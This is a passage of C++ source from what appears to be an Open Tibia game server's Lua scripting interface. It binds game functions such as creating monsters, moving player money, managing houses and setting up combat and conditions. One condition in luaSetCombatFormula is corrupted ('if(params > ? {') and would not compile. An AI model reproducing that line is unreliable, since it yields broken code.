ScriptEnviroment* env = getEnv(); pushThing(L, tile->ground, env->addThing(tile->ground)); setFieldBool(L, "protection", tile->hasFlag(TILESTATE_PROTECTIONZONE)); setFieldBool(L, "nopvp", tile->hasFlag(TILESTATE_NOPVPZONE)); setFieldBool(L, "nologout", tile->hasFlag(TILESTATE_NOLOGOUT)); setFieldBool(L, "pvp", tile->hasFlag(TILESTATE_PVPZONE)); setFieldBool(L, "refresh", tile->hasFlag(TILESTATE_REFRESH)); setFieldBool(L, "trashed", tile->hasFlag(TILESTATE_TRASHED)); setFieldBool(L, "house", tile->hasFlag(TILESTATE_HOUSE)); setFieldBool(L, "bed", tile->hasFlag(TILESTATE_BED)); setFieldBool(L, "depot", tile->hasFlag(TILESTATE_DEPOT)); setField(L, "things", tile->getThingCount()); setField(L, "creatures", tile->getCreatureCount()); setField(L, "items", tile->getItemCount()); setField(L, "topItems", tile->getTopItemCount()); setField(L, "downItems", tile->getDownItemCount()); } else { errorEx(getError(LUA_ERROR_TILE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetHouseFromPos(lua_State* L) { //getHouseFromPos(pos) PositionEx pos; popPosition(L, pos); Tile* tile = g_game.getMap()->getTile(pos); if(!tile) { errorEx(getError(LUA_ERROR_TILE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } HouseTile* houseTile = tile->getHouseTile(); if(!houseTile) { lua_pushboolean(L, false); return 1; } House* house = houseTile->getHouse(); if(!house) { lua_pushboolean(L, false); return 1; } lua_pushnumber(L, house->getId()); return 1; } int32_t LuaScriptInterface::luaDoCreateMonster(lua_State* L) { //doCreateMonster(name, pos[, displayError = true]) bool displayError = true; if(lua_gettop(L) > 2) displayError = popNumber(L); PositionEx pos; popPosition(L, pos); std::string name = popString(L); Monster* monster = Monster::createMonster(name.c_str()); if(!monster) { if(displayError) errorEx("Monster with name '" + name + "' not found"); lua_pushboolean(L, false); return 1; } if(!g_game.placeCreature(monster, pos)) { delete monster; if(displayError) errorEx("Cannot create monster: " + name); lua_pushboolean(L, true); return 1; } ScriptEnviroment* env = getEnv(); lua_pushnumber(L, env->addThing((Thing*)monster)); return 1; } int32_t LuaScriptInterface::luaDoCreateNpc(lua_State* L) { //doCreateNpc(name, pos[, displayError = true]) bool displayError = true; if(lua_gettop(L) > 2) displayError = popNumber(L); PositionEx pos; popPosition(L, pos); std::string name = popString(L); Npc* npc = Npc::createNpc(name.c_str()); if(!npc) { if(displayError) errorEx("Npc with name '" + name + "' not found"); lua_pushboolean(L, false); return 1; } if(!g_game.placeCreature(npc, pos)) { delete npc; if(displayError) errorEx("Cannot create npc: " + name); lua_pushboolean(L, true); //for scripting compatibility return 1; } ScriptEnviroment* env = getEnv(); lua_pushnumber(L, env->addThing((Thing*)npc)); return 1; } int32_t LuaScriptInterface::luaDoRemoveCreature(lua_State* L) { //doRemoveCreature(cid[, forceLogout = true]) bool forceLogout = true; if(lua_gettop(L) > 1) forceLogout = popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { if(Player* player = creature->getPlayer()) player->kickPlayer(true, forceLogout); //Players will get kicked without restrictions else g_game.removeCreature(creature); //Monsters/NPCs will get removed lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerAddMoney(lua_State* L) { //doPlayerAddMoney(cid, money) uint64_t money = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { g_game.addMoney(player, money); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerRemoveMoney(lua_State* L) { //doPlayerRemoveMoney(cid,money) uint64_t money = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) lua_pushboolean(L, g_game.removeMoney(player, money)); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerTransferMoneyTo(lua_State* L) { //doPlayerTransferMoneyTo(cid, target, money) uint64_t money = popNumber(L); std::string target = popString(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) lua_pushboolean(L, player->transferMoneyTo(target, money)); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetPzLocked(lua_State* L) { //doPlayerSetPzLocked(cid, locked) bool locked = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(player->isPzLocked() != locked) { player->setPzLocked(locked); player->sendIcons(); } lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetTown(lua_State* L) { //doPlayerSetTown(cid, townid) uint32_t townid = (uint32_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(Town* town = Towns::getInstance()->getTown(townid)) { player->setMasterPosition(town->getPosition()); player->setTown(townid); lua_pushboolean(L, true); } else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetVocation(lua_State* L) { //doPlayerSetVocation(cid, voc) uint32_t voc = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->setVocation(voc); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetSex(lua_State* L) { //doPlayerSetSex(cid, sex) uint32_t newSex = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->setSex(newSex); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerAddSoul(lua_State* L) { //doPlayerAddSoul(cid, soul) int32_t soul = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->changeSoul(soul); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerItemCount(lua_State* L) { //getPlayerItemCount(cid, itemid[, subType = -1]) int32_t subType = -1; if(lua_gettop(L) > 2) subType = popNumber(L); uint32_t itemId = popNumber(L); ScriptEnviroment* env = getEnv(); if(const Player* player = env->getPlayerByUID(popNumber(L))) lua_pushnumber(L, player->__getItemTypeCount(itemId, subType)); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerMoney(lua_State* L) { //getPlayerMoney(cid) ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) lua_pushnumber(L, g_game.getMoney(player)); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetHouseInfo(lua_State* L) { //getHouseInfo(houseId) bool displayError = true; if(lua_gettop(L) > 1) displayError = popNumber(L); House* house = Houses::getInstance()->getHouse(popNumber(L)); if(!house) { if(displayError) errorEx(getError(LUA_ERROR_HOUSE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } lua_newtable(L); setField(L, "id", house->getId()); setField(L, "name", house->getName().c_str()); setField(L, "owner", house->getOwner()); lua_pushstring(L, "entry"); pushPosition(L, house->getEntry(), 0); pushTable(L); setField(L, "rent", house->getRent()); setField(L, "price", house->getPrice()); setField(L, "town", house->getTownId()); setField(L, "paidUntil", house->getPaidUntil()); setField(L, "warnings", house->getRentWarnings()); setField(L, "lastWarning", house->getLastWarning()); setFieldBool(L, "guildHall", house->isGuild()); setField(L, "size", house->getSize()); setField(L, "doors", house->getDoorsCount()); setField(L, "beds", house->getBedsCount()); setField(L, "tiles", house->getTilesCount()); return 1; } int32_t LuaScriptInterface::luaGetHouseAccessList(lua_State* L) { //getHouseAccessList(houseid, listid) uint32_t listid = popNumber(L); if(House* house = Houses::getInstance()->getHouse(popNumber(L))) { std::string list; if(house->getAccessList(listid, list)) lua_pushstring(L, list.c_str()); else lua_pushnil(L); } else { errorEx(getError(LUA_ERROR_HOUSE_NOT_FOUND)); lua_pushnil(L); } return 1; } int32_t LuaScriptInterface::luaGetHouseByPlayerGUID(lua_State* L) { //getHouseByPlayerGUID(guid) if(House* house = Houses::getInstance()->getHouseByPlayerId(popNumber(L))) lua_pushnumber(L, house->getId()); else lua_pushnil(L); return 1; } int32_t LuaScriptInterface::luaSetHouseAccessList(lua_State* L) { //setHouseAccessList(houseid, listid, listtext) std::string list = popString(L); uint32_t listid = popNumber(L); if(House* house = Houses::getInstance()->getHouse(popNumber(L))) { house->setAccessList(listid, list); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_HOUSE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaSetHouseOwner(lua_State* L) { //setHouseOwner(houseId, owner[, clean]) bool clean = true; if(lua_gettop(L) > 2) clean = popNumber(L); uint32_t owner = popNumber(L); if(House* house = Houses::getInstance()->getHouse(popNumber(L))) lua_pushboolean(L, house->setOwnerEx(owner, clean)); else { errorEx(getError(LUA_ERROR_HOUSE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetWorldType(lua_State* L) { lua_pushnumber(L, (uint32_t)g_game.getWorldType()); return 1; } int32_t LuaScriptInterface::luaSetWorldType(lua_State* L) { //setWorldType(type) WorldType_t type = (WorldType_t)popNumber(L); if(type >= WORLD_TYPE_FIRST && type <= WORLD_TYPE_LAST) { g_game.setWorldType(type); lua_pushboolean(L, true); } else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaGetWorldTime(lua_State* L) { //getWorldTime() lua_pushnumber(L, g_game.getLightHour()); return 1; } int32_t LuaScriptInterface::luaGetWorldLight(lua_State* L) { //getWorldLight() LightInfo lightInfo; g_game.getWorldLightInfo(lightInfo); lua_pushnumber(L, lightInfo.level); lua_pushnumber(L, lightInfo.color); return 1; } int32_t LuaScriptInterface::luaGetWorldCreatures(lua_State* L) { //getWorldCreatures(type) //0 players, 1 monsters, 2 npcs, 3 all uint32_t type = popNumber(L), value; switch(type) { case 0: value = g_game.getPlayersOnline(); break; case 1: value = g_game.getMonstersOnline(); break; case 2: value = g_game.getNpcsOnline(); break; case 3: value = g_game.getCreaturesOnline(); break; default: lua_pushboolean(L, false); return 1; } lua_pushnumber(L, value); return 1; } int32_t LuaScriptInterface::luaGetWorldUpTime(lua_State* L) { //getWorldUpTime() uint32_t uptime = 0; if(Status* status = Status::getInstance()) uptime = status->getUptime(); lua_pushnumber(L, uptime); return 1; } int32_t LuaScriptInterface::luaGetPlayerLight(lua_State* L) { //getPlayerLight(cid) ScriptEnviroment* env = getEnv(); if(const Player* player = env->getPlayerByUID(popNumber(L))) { LightInfo lightInfo; player->getCreatureLight(lightInfo); lua_pushnumber(L, lightInfo.level); lua_pushnumber(L, lightInfo.color); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerAddExperience(lua_State* L) { //doPlayerAddExperience(cid, amount) int64_t amount = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(amount > 0) player->addExperience(amount); else if(amount < 0) player->removeExperience(std::abs(amount)); else { lua_pushboolean(L, false); return 1; } lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetPlayerSlotItem(lua_State* L) { //getPlayerSlotItem(cid, slot) uint32_t slot = popNumber(L); ScriptEnviroment* env = getEnv(); if(const Player* player = env->getPlayerByUID(popNumber(L))) { if(Thing* thing = player->__getThing(slot)) pushThing(L, thing, env->addThing(thing)); else pushThing(L, NULL, 0); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); pushThing(L, NULL, 0); } return 1; } int32_t LuaScriptInterface::luaGetPlayerWeapon(lua_State* L) { //getPlayerWeapon(cid[, ignoreAmmo = false]) bool ignoreAmmo = false; if(lua_gettop(L) > 1) ignoreAmmo = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(Item* weapon = player->getWeapon(ignoreAmmo)) pushThing(L, weapon, env->addThing(weapon)); else pushThing(L, NULL, 0); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushnil(L); } return 1; } int32_t LuaScriptInterface::luaGetPlayerItemById(lua_State* L) { //getPlayerItemById(cid, deepSearch, itemId[, subType = -1]) ScriptEnviroment* env = getEnv(); int32_t subType = -1; if(lua_gettop(L) > 3) subType = (int32_t)popNumber(L); int32_t itemId = (int32_t)popNumber(L); bool deepSearch = popNumber(L); Player* player = env->getPlayerByUID(popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); pushThing(L, NULL, 0); return 1; } Item* item = g_game.findItemOfType(player, itemId, deepSearch, subType); if(!item) { pushThing(L, NULL, 0); return 1; } pushThing(L, item, env->addThing(item)); return 1; } int32_t LuaScriptInterface::luaGetThing(lua_State* L) { //getThing(uid) uint32_t uid = popNumber(L); ScriptEnviroment* env = getEnv(); if(Thing* thing = env->getThingByUID(uid)) pushThing(L, thing, uid); else { errorEx(getError(LUA_ERROR_THING_NOT_FOUND)); pushThing(L, NULL, 0); } return 1; } int32_t LuaScriptInterface::luaDoTileQueryAdd(lua_State* L) { //doTileQueryAdd(uid, pos[, flags[, displayError = true]]) uint32_t flags = 0, params = lua_gettop(L); bool displayError = true; if(params > 3) displayError = popNumber(L); if(params > 2) flags = popNumber(L); PositionEx pos; popPosition(L, pos); uint32_t uid = popNumber(L); ScriptEnviroment* env = getEnv(); Tile* tile = g_game.getTile(pos); if(!tile) { if(displayError) errorEx(getError(LUA_ERROR_TILE_NOT_FOUND)); lua_pushnumber(L, (uint32_t)RET_NOTPOSSIBLE); return 1; } Thing* thing = env->getThingByUID(uid); if(!thing) { if(displayError) errorEx(getError(LUA_ERROR_THING_NOT_FOUND)); lua_pushnumber(L, (uint32_t)RET_NOTPOSSIBLE); return 1; } lua_pushnumber(L, (uint32_t)tile->__queryAdd(0, thing, 1, flags)); return 1; } int32_t LuaScriptInterface::luaDoItemRaidUnref(lua_State* L) { //doItemRaidUnref(uid) ScriptEnviroment* env = getEnv(); if(Item* item = env->getItemByUID(popNumber(L))) { if(Raid* raid = item->getRaid()) { raid->unRef(); item->setRaid(NULL); lua_pushboolean(L, true); } else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetThingPosition(lua_State* L) { //getThingPosition(uid) ScriptEnviroment* env = getEnv(); if(Thing* thing = env->getThingByUID(popNumber(L))) { Position pos = thing->getPosition(); uint32_t stackpos = 0; if(Tile* tile = thing->getTile()) stackpos = tile->__getIndexOfThing(thing); pushPosition(L, pos, stackpos); } else { errorEx(getError(LUA_ERROR_THING_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaCreateCombatObject(lua_State* L) { //createCombatObject() ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } Combat* combat = new Combat; if(!combat) { errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND)); lua_pushboolean(L, false); return 1; } lua_pushnumber(L, env->addCombatObject(combat)); return 1; } bool LuaScriptInterface::getArea(lua_State* L, std::list<uint32_t>& list, uint32_t& rows) { rows = 0; uint32_t i = 0; lua_pushnil(L); while(lua_next(L, -2)) { lua_pushnil(L); while(lua_next(L, -2)) { list.push_back((uint32_t)lua_tonumber(L, -1)); lua_pop(L, 1); //removes value, keeps key for next iteration ++i; } lua_pop(L, 1); //removes value, keeps key for next iteration ++rows; i = 0; } lua_pop(L, 1); return rows; } int32_t LuaScriptInterface::luaCreateCombatArea(lua_State* L) { //createCombatArea( {area}[, {extArea}]) ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } CombatArea* area = new CombatArea; if(lua_gettop(L) > 1) { //has extra parameter with diagonal area information uint32_t rowsExtArea; std::list<uint32_t> listExtArea; getArea(L, listExtArea, rowsExtArea); /*setup all possible rotations*/ area->setupExtArea(listExtArea, rowsExtArea); } if(lua_isnoneornil(L, -1)) //prevent crash { lua_pop(L, 2); lua_pushboolean(L, false); return 1; } uint32_t rowsArea = 0; std::list<uint32_t> listArea; getArea(L, listArea, rowsArea); area->setupArea(listArea, rowsArea); lua_pushnumber(L, env->addCombatArea(area)); return 1; } int32_t LuaScriptInterface::luaCreateConditionObject(lua_State* L) { //createConditionObject(type[, ticks[, buff[, subId]]]) uint32_t params = lua_gettop(L), subId = 0; if(params > 3) subId = popNumber(L); bool buff = false; if(params > 2) buff = popNumber(L); int32_t ticks = 0; if(params > 1) ticks = popNumber(L); ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } if(Condition* condition = Condition::createCondition(CONDITIONID_COMBAT, (ConditionType_t)popNumber(L), ticks, 0, buff, subId)) lua_pushnumber(L, env->addConditionObject(condition)); else { errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaSetCombatArea(lua_State* L) { //setCombatArea(combat, area) uint32_t areaId = popNumber(L); ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } Combat* combat = env->getCombatObject(popNumber(L)); if(!combat) { errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND)); lua_pushboolean(L, false); return 1; } const CombatArea* area = env->getCombatArea(areaId); if(!area) { errorEx(getError(LUA_ERROR_AREA_NOT_FOUND)); lua_pushboolean(L, false); return 1; } combat->setArea(new CombatArea(*area)); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaSetCombatCondition(lua_State* L) { //setCombatCondition(combat, condition) uint32_t conditionId = popNumber(L); ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } Combat* combat = env->getCombatObject(popNumber(L)); if(!combat) { errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND)); lua_pushboolean(L, false); return 1; } const Condition* condition = env->getConditionObject(conditionId); if(!condition) { errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND)); lua_pushboolean(L, false); return 1; } combat->setCondition(condition->clone()); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaSetCombatParam(lua_State* L) { //setCombatParam(combat, key, value) uint32_t value = popNumber(L); CombatParam_t key = (CombatParam_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } Combat* combat = env->getCombatObject(popNumber(L)); if(!combat) { errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND)); lua_pushboolean(L, false); } else { combat->setParam(key, value); lua_pushboolean(L, true); } return 1; } int32_t LuaScriptInterface::luaSetConditionParam(lua_State* L) { //setConditionParam(condition, key, value) int32_t value = (int32_t)popNumber(L); ConditionParam_t key = (ConditionParam_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } if(Condition* condition = env->getConditionObject(popNumber(L))) { condition->setParam(key, value); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaAddDamageCondition(lua_State* L) { //addDamageCondition(condition, rounds, time, value) int32_t value = popNumber(L), time = popNumber(L), rounds = popNumber(L); ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } if(ConditionDamage* condition = dynamic_cast<ConditionDamage*>(env->getConditionObject(popNumber(L)))) { condition->addDamage(rounds, time, value); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaAddOutfitCondition(lua_State* L) { //addOutfitCondition(condition, outfit) Outfit_t outfit = popOutfit(L); ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } if(ConditionOutfit* condition = dynamic_cast<ConditionOutfit*>(env->getConditionObject(popNumber(L)))) { condition->addOutfit(outfit); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaSetCombatCallBack(lua_State* L) { //setCombatCallBack(combat, key, functionName) std::string function = popString(L); CallBackParam_t key = (CallBackParam_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } Combat* combat = env->getCombatObject(popNumber(L)); if(!combat) { errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND)); lua_pushboolean(L, false); return 1; } LuaScriptInterface* interface = env->getInterface(); combat->setCallback(key); CallBack* callback = combat->getCallback(key); if(!callback) { std::stringstream ss; ss << key; errorEx(ss.str() + " is not a valid callback key."); lua_pushboolean(L, false); return 1; } if(!callback->loadCallBack(interface, function)) { errorEx("Cannot load callback"); lua_pushboolean(L, false); } else lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaSetCombatFormula(lua_State* L) { //setCombatFormula(combat, type, mina, minb, maxa, maxb[, minl, maxl[, minm, maxm[, minc[, maxc]]]]) ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } int32_t params = lua_gettop(L), minc = 0, maxc = 0; if(params > 11) maxc = popNumber(L); if(params > 10) minc = popNumber(L); double minm = g_config.getDouble(ConfigManager::FORMULA_MAGIC), maxm = minm, minl = g_config.getDouble(ConfigManager::FORMULA_LEVEL), maxl = minl; if(params > ? { maxm = popFloatNumber(L); minm = popFloatNumber(L); } if(params > 6) { maxl = popFloatNumber(L); minl = popFloatNumber(L); } double maxb = popFloatNumber(L), maxa = popFloatNumber(L), minb = popFloatNumber(L), mina = popFloatNumber(L); formulaType_t type = (formulaType_t)popNumber(L); if(Combat* combat = env->getCombatObject(popNumber(L))) { combat->setPlayerCombatValues(type, mina, minb, maxa, maxb, minl, maxl, minm, maxm, minc, maxc); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaSetConditionFormula(lua_State* L) { //setConditionFormula(condition, mina, minb, maxa, maxb) ScriptEnviroment* env = getEnv(); if(env->getScriptId() != EVENT_ID_LOADING) { errorEx("This function can only be used while loading the script."); lua_pushboolean(L, false); return 1; } double maxb = popFloatNumber(L), maxa = popFloatNumber(L), minb = popFloatNumber(L), mina = popFloatNumber(L); if(ConditionSpeed* condition = dynamic_cast<ConditionSpeed*>(env->getConditionObject(popNumber(L)))) { condition->setFormulaVars(mina, minb, maxa, maxb); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCombat(lua_State* L) { //doCombat(cid, combat, param) ScriptEnviroment* env = getEnv(); LuaVariant var = popVariant(L); uint32_t combatId = popNumber(L), cid = popNumber(L); Creature* creature = NULL; if(cid != 0) { creature = env->getCreatureByUID(cid); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } } const Combat* combat = env->getCombatObject(combatId); if(!combat) { errorEx(getError(LUA_ERROR_COMBAT_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(var.type == VARIANT_NONE) { errorEx(getError(LUA_ERROR_VARIANT_NOT_FOUND)); lua_pushboolean(L, false); return 1; } switch(var.type) { case VARIANT_NUMBER: { Creature* target = g_game.getCreatureByID(var.number); if(!target || !creature || !creature->canSeeCreature(target)) { lua_pushboolean(L, false); return 1; } if(combat->hasArea()) combat->doCombat(creature, target->getPosition()); else combat->doCombat(creature, target); break; } case VARIANT_POSITION: { combat->doCombat(creature, var.pos); break; } case VARIANT_TARGETPOSITION: { if(!combat->hasArea()) { combat->postCombatEffects(creature, var.pos); g_game.addMagicEffect(var.pos, MAGIC_EFFECT_POFF); } else combat->doCombat(creature, var.pos); break; } case VARIANT_STRING: { Player* target = g_game.getPlayerByName(var.text); if(!target || !creature || !creature->canSeeCreature(target)) { lua_pushboolean(L, false); return 1; } combat->doCombat(creature, target); break; } default: { errorEx(getError(LUA_ERROR_VARIANT_UNKNOWN)); lua_pushboolean(L, false); return 1; } } lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoCombatAreaHealth(lua_State* L) { //doCombatAreaHealth(cid, type, pos, area, min, max, effect) MagicEffect_t effect = (MagicEffect_t)popNumber(L); int32_t maxChange = (int32_t)popNumber(L), minChange = (int32_t)popNumber(L); uint32_t areaId = popNumber(L); PositionEx pos; popPosition(L, pos); CombatType_t combatType = (CombatType_t)popNumber(L); uint32_t cid = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = NULL; if(cid) { if(!(creature = env->getCreatureByUID(cid))) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } } const CombatArea* area = env->getCombatArea(areaId); if(area || !areaId) { CombatParams params; params.combatType = combatType; params.effects.impact = effect; Combat::doCombatHealth(creature, pos, area, minChange, maxChange, params); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_AREA_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoTargetCombatHealth(lua_State* L) { //doTargetCombatHealth(cid, target, type, min, max, effect) MagicEffect_t effect = (MagicEffect_t)popNumber(L); int32_t maxChange = (int32_t)popNumber(L), minChange = (int32_t)popNumber(L); CombatType_t combatType = (CombatType_t)popNumber(L); uint32_t targetCid = popNumber(L), cid = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = NULL; if(cid) { if(!(creature = env->getCreatureByUID(cid))) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } } Creature* target = env->getCreatureByUID(targetCid); if(target) { CombatParams params; params.combatType = combatType; params.effects.impact = effect; Combat::doCombatHealth(creature, target, minChange, maxChange, params); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCombatAreaMana(lua_State* L) { //doCombatAreaMana(cid, pos, area, min, max, effect) MagicEffect_t effect = (MagicEffect_t)popNumber(L); int32_t maxChange = (int32_t)popNumber(L), minChange = (int32_t)popNumber(L); uint32_t areaId = popNumber(L); PositionEx pos; popPosition(L, pos); uint32_t cid = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = NULL; if(cid) { if(!(creature = env->getCreatureByUID(cid))) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } } const CombatArea* area = env->getCombatArea(areaId); if(area || !areaId) { CombatParams params; params.effects.impact = effect; Combat::doCombatMana(creature, pos, area, minChange, maxChange, params); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_AREA_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoTargetCombatMana(lua_State* L) { //doTargetCombatMana(cid, target, min, max, effect) MagicEffect_t effect = (MagicEffect_t)popNumber(L); int32_t maxChange = (int32_t)popNumber(L), minChange = (int32_t)popNumber(L); uint32_t targetCid = popNumber(L), cid = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = NULL; if(cid) { if(!(creature = env->getCreatureByUID(cid))) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } } if(Creature* target = env->getCreatureByUID(targetCid)) { CombatParams params; params.effects.impact = effect; Combat::doCombatMana(creature, target, minChange, maxChange, params); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCombatAreaCondition(lua_State* L) { //doCombatAreaCondition(cid, pos, area, condition, effect) MagicEffect_t effect = (MagicEffect_t)popNumber(L); uint32_t conditionId = popNumber(L), areaId = 